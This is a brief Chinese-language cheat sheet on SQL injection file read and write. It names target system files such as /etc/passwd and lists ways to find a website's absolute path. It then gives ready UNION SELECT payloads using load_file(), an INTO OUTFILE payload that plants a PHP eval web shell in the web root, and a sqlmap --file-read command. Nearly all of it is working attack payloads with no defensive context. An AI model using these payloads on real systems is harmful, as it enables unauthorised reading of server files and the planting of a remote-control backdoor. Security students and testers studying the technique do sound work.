sql注入文件寫入和讀取

系統固定文件路徑：https://blog.csdn.net/ncafei/article/details/54616826

/etc/passwd

c:/windows/win.ini

文件讀取使用load_file()函數：

使用之前我們需要先找到網站的絕對路徑。（獲取辦法：報錯顯示、谷歌語法、site:目標網站 warning、遺留文件如phpinfo、漏洞爆出路徑、讀取配置文件）

注意路徑符號：錯誤“\” 正確"\\" 正確"/"。如果將路徑轉換為16進制就可以不用引號。

union select 1,load_file(“c:/inetpub/wwwroot/index.php”),3

文件寫入使用into outfile函數：

union select 1,"<?php @eval($_GET[x]);?>",3,4,5 into outfile 'C:/Inetpub/wwwroot/cc.php'

sqlmap讀取文件

--file-read用法用於讀取本地文件

python sqlmap.py -u "http://xxx/x?id=1" --file-read=/etc/passwd